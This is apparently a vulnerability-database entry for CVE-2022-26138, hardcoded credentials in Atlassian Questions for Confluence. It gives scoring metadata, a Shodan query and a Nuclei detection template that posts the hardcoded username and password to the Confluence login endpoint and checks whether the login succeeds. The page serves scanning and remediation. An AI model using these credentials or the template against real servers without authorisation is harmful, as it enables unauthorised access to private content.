SecurityContext

CVE-2022-26138: Atlassian Questions For Confluence - Hardcoded Credentials

Classification

  • Cwe: CWE-798
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.98103
  • Epss percentile: 0.99912
  • Cpe: cpe:2.3:a:atlassian:questions_for_confluence:2.7.34:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: questions_for_confluence
  • Shodan-query: http.component:"Atlassian Confluence", http.component:"atlassian confluence"
  • Vendor: atlassian

Products

ProductIndexedUrl
atlassian:questions_for_confluenceyes/v1/products/atlassian/questions_for_confluence

Labels

  • Name: Atlassian Questions For Confluence - Hardcoded Credentials
  • Impact: Attackers can access all content accessible to confluence-users, leading to information disclosure and potential data breach.
  • Remediation: Update to the latest version where this issue is fixed or remove the hardcoded credentials.
  • Vulnerability type: hardcoded_credentials
  • Vulnerability impact: information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2022-26138
  • Not known: requirements

```yaml

id: CVE-2022-26138

info:

name: Atlassian Questions For Confluence - Hardcoded Credentials

author: HTTPVoid

severity: critical

description: |

Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group.

impact: |

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Confluence instance.

remediation: |

Update the Atlassian Questions For Confluence plugin to the latest version, which removes the hardcoded credentials.

reference:

- https://twitter.com/fluepke/status/1549892089181257729

- https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html

- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html

- https://nvd.nist.gov/vuln/detail/CVE-2022-26138

- https://jira.atlassian.com/browse/CONFSERVER-79483

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2022-26138

cwe-id: CWE-798

epss-score: 0.98103

epss-percentile: 0.99912

cpe: cpe:2.3:a:atlassian:questions_for_confluence:2.7.34:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: atlassian

product: questions_for_confluence

shodan-query:

- http.component:"Atlassian Confluence"

- http.component:"atlassian confluence"

tags: cve2022,cve,confluence,atlassian,default-login,kev,vkev,vuln

http:

- raw:

- |

POST /dologin.action HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

os_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action

payloads:

os_username:

- disabledsystemuser

os_password:

- disabled1system1user6708

attack: pitchfork

matchers:

- type: dsl

dsl:

- 'location == "/httpvoid.action"'

digest: 4b0a00483046022100de0a0cd36e0e26e43809722864b114300e0906430734adb61aa7735768f6f9ed022100d5486ddb0b99d3dd799f5c6c2708aede495b5244a9afd00340ee82711c1b3d8e:922c64590222798bb761d5b6d8e72950

```